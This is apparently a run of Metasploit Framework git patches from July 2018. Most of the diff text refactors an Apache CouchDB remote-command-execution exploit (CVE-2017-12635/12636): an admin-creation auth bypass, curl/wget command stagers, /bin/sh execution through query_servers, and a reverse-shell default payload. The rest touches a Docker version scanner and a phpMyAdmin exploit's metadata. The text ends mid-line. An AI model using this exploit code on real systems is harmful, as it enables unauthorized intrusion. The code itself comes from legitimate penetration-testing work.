modules/auxiliary/scanner/http/docker_enum.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index a52b36b8f9..07baf9c829 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -19,8 +19,6 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(2375), ]) - register_autofilter_ports([ 2375 ]) - deregister_options('RHOST') end def run_host(ip) From 5a89642dddfc4483df86c173375342592da5a909 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 00:15:56 -0400 Subject: [PATCH 116/217] Simplify the module greatly --- modules/auxiliary/scanner/http/docker_enum.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index 07baf9c829..7a7def3187 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -23,17 +23,13 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI'], "/version"), + 'uri' => normalize_uri("/version"), 'method' => 'GET'}) if res.nil? || res.code != 200 print_error("[Docker Version] failed to identify version") return end - parse_body(res.body) - end - - def parse_body(body) result = res.get_json_document print_status("Identifying Docker Server Version on #{ip}:#{rport}") print_good("[Docker Server] Version: #{result['Version']}") From d488b512640d41d482a7d1767f87f80c46c25e3c Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 00:41:55 -0400 Subject: [PATCH 117/217] Use peer instead of ip & port --- modules/auxiliary/scanner/http/docker_enum.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index 7a7def3187..f8d6774304 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary ) register_options( [ - Opt::RPORT(2375), + Opt::RPORT(2375) ]) end @@ -31,10 +31,8 @@ class MetasploitModule < Msf::Auxiliary end result = res.get_json_document - print_status("Identifying Docker Server Version on #{ip}:#{rport}") + print_status("Identifying Docker Server Version on #{peer}") print_good("[Docker Server] Version: #{result['Version']}") - if datastore['VERBOSE'] - print_status ("All info: #{result.to_s}") - end + print_status ("All info: #{result.to_s}") if datastore['VERBOSE'] end end From 00f4d3967cb712f0e57ac917262cb1616cbb50f8 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 00:47:43 -0400 Subject: [PATCH 118/217] Add basic reporting --- modules/auxiliary/scanner/http/docker_enum.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index f8d6774304..aecb546171 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -34,5 +34,12 @@ class MetasploitModule < Msf::Auxiliary print_status("Identifying Docker Server Version on #{peer}") print_good("[Docker Server] Version: #{result['Version']}") print_status ("All info: #{result.to_s}") if datastore['VERBOSE'] + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'tcp', + :ntype => 'docker_version', + :data => result['Version'] + ) end end From 1f0045fa038c6139e4ad388a4f429fced05db3dd Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 01:27:10 -0400 Subject: [PATCH 119/217] Improve Description --- modules/auxiliary/scanner/http/docker_enum.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index aecb546171..ba50ea6835 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -11,7 +11,10 @@ class MetasploitModule < Msf::Auxiliary def initialize super( 'Name' => 'Docker Server Version Scanner', - 'Description' => 'This module attempts to identify the version of the Docker Server running on a host.', + 'Description' => %q{ + This module attempts to identify the version of the Docker Server running on a + host. If you wish to see all the information available, set VERBOSE to true. + }, 'Author' => [ 'Agora-Security' ], 'License' => MSF_LICENSE ) From df2f58fb08c2f92fabc910a76f2937cfbd5725a1 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Wed, 11 Jul 2018 07:09:28 +0000 Subject: [PATCH 120/217] Add WPCHECK (Bool) advanced option to Exploit::Remote::HTTP::Wordpress --- lib/msf/core/exploit/http/wordpress.rb | 3 ++- lib/msf/core/exploit/http/wordpress/base.rb | 5 +++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/wordpress.rb b/lib/msf/core/exploit/http/wordpress.rb index 4ed7e7b342..44dcd44e2b 100644 --- a/lib/msf/core/exploit/http/wordpress.rb +++ b/lib/msf/core/exploit/http/wordpress.rb @@ -38,7 +38,8 @@ module Msf register_advanced_options( [ - Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']) + Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']), + Msf::OptBool.new('WPCHECK', [true, 'Check if the website is a valid WordPress install', true]), ], Msf::Exploit::Remote::HTTP::Wordpress ) end diff --git a/lib/msf/core/exploit/http/wordpress/base.rb b/lib/msf/core/exploit/http/wordpress/base.rb index f25298c868..44230ee82f 100644 --- a/lib/msf/core/exploit/http/wordpress/base.rb +++ b/lib/msf/core/exploit/http/wordpress/base.rb @@ -5,6 +5,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base # # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise def wordpress_and_online? + unless datastore['WPCHECK'] + vprint_status 'Skipping WordPress check...' + return true + end + wordpress_detect_regexes = [ /["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i, //i, From 147511dc66d346b4d4e29abd2c3a6bdb6064d33b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 11 Jul 2018 09:22:09 -0700 Subject: [PATCH 121/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index f5012ebe31..9b572d57ac 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -41883,6 +41883,41 @@ "is_install_path": true, "ref_name": "multi/http/phpmyadmin_3522_backdoor" }, + "exploit_multi/http/phpmyadmin_lfi_rce": { + "name": "phpMyAdmin Authenticated Remote Code Execution", + "full_name": "exploit/multi/http/phpmyadmin_lfi_rce", + "rank": 400, + "disclosure_date": "2018-06-19", + "type": "exploit", + "author": [ + "ChaMd5", + "Henry Huang", + "Jacob Robles" + ], + "description": "phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,\n which can be exploited post-authentication to execute PHP code by\n application. The module has been tested with phpMyAdmin v4.8.1.", + "references": [ + "BID-104532", + "CVE-2018-12613", + "CWE-661", + "URL-https://www.phpmyadmin.net/security/PMASA-2018-4/", + "URL-https://www.secpulse.com/archives/72817.html", + "URL-https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/" + ], + "is_server": true, + "is_client": false, + "platform": "PHP", + "arch": "php", + "rport": "80", + "targets": [ + "Automatic", + "Windows", + "Linux" + ], + "mod_time": "2018-07-09 09:29:11 +0000", + "path": "/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/phpmyadmin_lfi_rce" + }, "exploit_multi/http/phpmyadmin_null_termination_exec": { "name": "phpMyAdmin Authenticated Remote Code Execution", "full_name": "exploit/multi/http/phpmyadmin_null_termination_exec", From bb8ac4a7abb7a3ca0efbc2e8b07248636f8cbf68 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 16:52:16 -0400 Subject: [PATCH 122/217] Add info & update_info --- modules/auxiliary/scanner/http/docker_enum.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index ba50ea6835..950adc5871 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -8,8 +8,8 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report - def initialize - super( + def initialize(info = {}) + super(update_info(info, 'Name' => 'Docker Server Version Scanner', 'Description' => %q{ This module attempts to identify the version of the Docker Server running on a From 30c43e22d9b0c301a39883f7149de35cc6552da8 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 17:04:31 -0400 Subject: [PATCH 123/217] Fix typo --- modules/auxiliary/scanner/http/docker_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index 950adc5871..77d174372f 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary }, 'Author' => [ 'Agora-Security' ], 'License' => MSF_LICENSE - ) + )) register_options( [ Opt::RPORT(2375) From 7d8b9a90d7724545f7af13fe3eb41e8bedf94528 Mon Sep 17 00:00:00 2001 From: Agora Security Date: Wed, 11 Jul 2018 17:22:48 -0400 Subject: [PATCH 124/217] Add more reporting --- modules/auxiliary/scanner/http/docker_enum.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/docker_enum.rb b/modules/auxiliary/scanner/http/docker_enum.rb index 77d174372f..47f654ebd0 100644 --- a/modules/auxiliary/scanner/http/docker_enum.rb +++ b/modules/auxiliary/scanner/http/docker_enum.rb @@ -42,7 +42,16 @@ class MetasploitModule < Msf::Auxiliary :port => datastore['RPORT'], :proto => 'tcp', :ntype => 'docker_version', - :data => result['Version'] + :data => result['Version'], + :info => "Docker Server v.#{result['Version']}" + ) + print_status("Saving host information.") + report_host( + :host => ip, + :arch => result['Arch'], + :detected_arch => result['Arch'], + :os_family => result['Os'], + :info => "Docker Server v.#{result['Version']} Kernel Version: #{result['KernelVersion']}" ) end end From ca5e496b8fd4e5f0a19c9ea618bedd705236b6be Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 11 Jul 2018 21:40:19 -0500 Subject: [PATCH 125/217] Run rubocop -a --- .../linux/http/apache_couchdb_cmd_exec.rb | 109 ++++++++---------- 1 file changed, 45 insertions(+), 64 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index cfe3077e3b..3cd1a0a048 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -18,17 +18,17 @@ class MetasploitModule < Msf::Exploit::Remote This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet. }, - 'Author' => [ + 'Author' => [ 'Max Justicz', # CVE-2017-12635 Vulnerability discovery 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery 'Green-m ' # Metasploit module ], - 'References' => [ - [ 'CVE', '2017-12636'], - [ 'CVE', '2017-12635'], - [ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], - [ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], - [ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] + 'References' => [ + ['CVE', '2017-12636'], + ['CVE', '2017-12635'], + ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], + ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], + ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] ], 'DisclosureDate' => 'Apr 6 2016', 'License' => MSF_LICENSE, @@ -36,29 +36,29 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' - }, - 'CmdStagerFlavor' => ['curl', 'wget'], - 'Targets' => [ - ['Automatic', {} ], - ['Apache CouchDB version 1.x', {} ], - ['Apache CouchDB version 2.x', {} ] + }, + 'CmdStagerFlavor' => ['curl', 'wget'], + 'Targets' => [ + ['Automatic', {}], + ['Apache CouchDB version 1.x', {}], + ['Apache CouchDB version 2.x', {}] ], - 'DefaultTarget' => 0 - )) + 'DefaultTarget' => 0)) register_options([ - Opt::RPORT(5984), - OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), - OptString.new('HttpUsername', [false, 'The username to login as']), - OptString.new('HttpPassword', [false, 'The password to login with']) - ]) + Opt::RPORT(5984), + OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), + OptString.new('HttpUsername', [false, 'The username to login as']), + OptString.new('HttpPassword', [false, 'The password to login with']) + ]) register_advanced_options( [ OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) - ]) + ] + ) end def check @@ -67,9 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown if version.version.empty? vprint_status "Found CouchDB version #{version}" - if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) - return CheckCode::Appears - end + return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) CheckCode::Safe end @@ -96,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote end attempts.times do |i| - print_status("#{peer} - The #{i+1} time to exploit") + print_status("#{peer} - The #{i + 1} time to exploit") send_payload(version) Rex.sleep(5) # break if we get the shell @@ -112,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization # for the newly created user. def auth_bypass - username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) @auth = basic_auth(username, password) @@ -121,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), 'method' => 'PUT', 'ctype' => 'application/json', - 'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}} + 'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}) ) if res && res.code == 200 && res.get_json_document['ok'] @@ -129,7 +126,6 @@ class MetasploitModule < Msf::Exploit::Remote else return false end - end def get_version @@ -137,11 +133,10 @@ class MetasploitModule < Msf::Exploit::Remote begin res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'authorization' => @auth - ) - + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'authorization' => @auth + ) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e vprint_bad("#{peer} - Connection failed") return false @@ -177,9 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote vprint_status("#{peer} - CouchDB version is #{version}") if version version = Gem::Version.new(@version) - case - # Version not found - when version.version.empty? + if version.version.empty? vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") # if target set Automatic, exploit failed. @@ -191,21 +184,19 @@ class MetasploitModule < Msf::Exploit::Remote payload2 end - when version < Gem::Version.new('1.7.0') + elsif version < Gem::Version.new('1.7.0') payload1 - when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) payload2 - when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') + elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") end - end # Exploit with multi requests # payload1 is for the version of couchdb below 1.7.0 def payload1 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) @@ -218,8 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} - + 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) res = send_request_cgi( @@ -232,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{{"_id": "#{rand_hex}"}} + 'data' => %({"_id": "#{rand_hex}"}) ) res = send_request_cgi( @@ -240,14 +230,14 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"language":"#{rand_cmd1}","map":""}} + 'data' => %({"language":"#{rand_cmd1}","map":""}) ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"/bin/sh #{rand_file}"} + 'data' => %("/bin/sh #{rand_file}") ) res = send_request_cgi( @@ -255,15 +245,12 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"language":"#{rand_cmd2}","map":""}} + 'data' => %({"language":"#{rand_cmd2}","map":""}) ) - - end # payload2 is for the version of couchdb below 2.1.1 def payload2 - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) @@ -281,13 +268,11 @@ class MetasploitModule < Msf::Exploit::Remote ) node = res.get_json_document['all_nodes'][0] - res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} - + 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) res = send_request_cgi( @@ -300,7 +285,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{{"_id": "#{rand_hex}"}} + 'data' => %({"_id": "#{rand_hex}"}) ) res = send_request_cgi( @@ -308,15 +293,14 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}} + 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}) ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, - 'data' => %Q{"/bin/sh #{rand_file}"} - + 'data' => %("/bin/sh #{rand_file}") ) res = send_request_cgi( @@ -324,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', - 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}} + 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}) ) end @@ -338,14 +322,13 @@ class MetasploitModule < Msf::Exploit::Remote # def on_request_uri(cli, request) - if (not @cmdstager) + if !@cmdstager print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("Sending payload #{datastore['PAYLOAD']}") super - end def start_service(opts = {}) @@ -353,7 +336,6 @@ class MetasploitModule < Msf::Exploit::Remote @service_url = get_uri end - # mark the exploit successful and clean temp file created during exploiting def on_new_session(client) # mark flag be true to stop exploit. @@ -370,9 +352,8 @@ class MetasploitModule < Msf::Exploit::Remote client.shell_command_token("rm #{@file_to_clean}") end vprint_good("Cleaned temp file successful.") - rescue + rescue StandardError print_warning("Need to clean the temp file #{@file_to_clean} manually.") end end - end From ccc326716670f4d6be2c03ee0cc7a8e7af90b63a Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 11 Jul 2018 21:46:38 -0500 Subject: [PATCH 126/217] Correct rubocop -a We'll update .rubocop.yml later. --- .../linux/http/apache_couchdb_cmd_exec.rb | 36 +++++++++---------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 3cd1a0a048..d7b54ad5c9 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -19,9 +19,9 @@ class MetasploitModule < Msf::Exploit::Remote including downloading and executing scripts from the public internet. }, 'Author' => [ - 'Max Justicz', # CVE-2017-12635 Vulnerability discovery - 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery - 'Green-m ' # Metasploit module + 'Max Justicz', # CVE-2017-12635 Vulnerability discovery + 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery + 'Green-m ' # Metasploit module ], 'References' => [ ['CVE', '2017-12636'], @@ -41,24 +41,24 @@ class MetasploitModule < Msf::Exploit::Remote }, 'CmdStagerFlavor' => ['curl', 'wget'], 'Targets' => [ - ['Automatic', {}], - ['Apache CouchDB version 1.x', {}], - ['Apache CouchDB version 2.x', {}] + ['Automatic', {}], + ['Apache CouchDB version 1.x', {}], + ['Apache CouchDB version 2.x', {}] ], - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0 + )) register_options([ - Opt::RPORT(5984), - OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), - OptString.new('HttpUsername', [false, 'The username to login as']), - OptString.new('HttpPassword', [false, 'The password to login with']) - ]) - register_advanced_options( - [ - OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), - OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) - ] - ) + Opt::RPORT(5984), + OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), + OptString.new('HttpUsername', [false, 'The username to login as']), + OptString.new('HttpPassword', [false, 'The password to login with']) + ]) + + register_advanced_options([ + OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), + OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) + ]) end def check From 167745c1240f73c738efbeb4c49acfba86df14a3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 11 Jul 2018 22:49:13 -0500 Subject: [PATCH 127/217] Selectively add RuboCop fixes --- .../linux/http/apache_couchdb_cmd_exec.rb | 27 +++++++++---------- 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index d7b54ad5c9..9767ae7340 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -137,7 +137,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'authorization' => @auth ) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError vprint_bad("#{peer} - Connection failed") return false end @@ -190,7 +190,6 @@ class MetasploitModule < Msf::Exploit::Remote payload2 elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") - end end @@ -205,27 +204,27 @@ class MetasploitModule < Msf::Exploit::Remote rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" @file_to_clean = rand_file - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, @@ -233,14 +232,14 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => %({"language":"#{rand_cmd1}","map":""}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, @@ -268,27 +267,27 @@ class MetasploitModule < Msf::Exploit::Remote ) node = res.get_json_document['all_nodes'][0] - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, @@ -296,14 +295,14 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}) ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) - res = send_request_cgi( + send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, From f53080ee60f0c949610dff2ce8b7de3178f5a409 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 00:49:29 -0500 Subject: [PATCH 128/217] Fix exploit and do final cleanup --- .../linux/http/apache_couchdb_cmd_exec.rb | 67 ++++--------------- 1 file changed, 13 insertions(+), 54 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb index 9767ae7340..611ae90d62 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb @@ -4,10 +4,12 @@ ## class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, @@ -73,7 +75,6 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - @exploit_flag = false fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version version = @version @@ -81,12 +82,12 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") @cmdstager = generate_cmdstager( - 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", - :temp => datastore['WritableDir'], - :file => File.basename(cmdstager_path), - :nospace => true + temp: datastore['WritableDir'], + file: File.basename(cmdstager_path) ).join(';') + register_file_for_cleanup(cmdstager_path) + if !datastore['Attempts'] || datastore['Attempts'] <= 0 attempts = 1 else @@ -98,11 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote send_payload(version) Rex.sleep(5) # break if we get the shell - break if @exploit_flag + break if session_created? end - - print_status("Shutting down the web 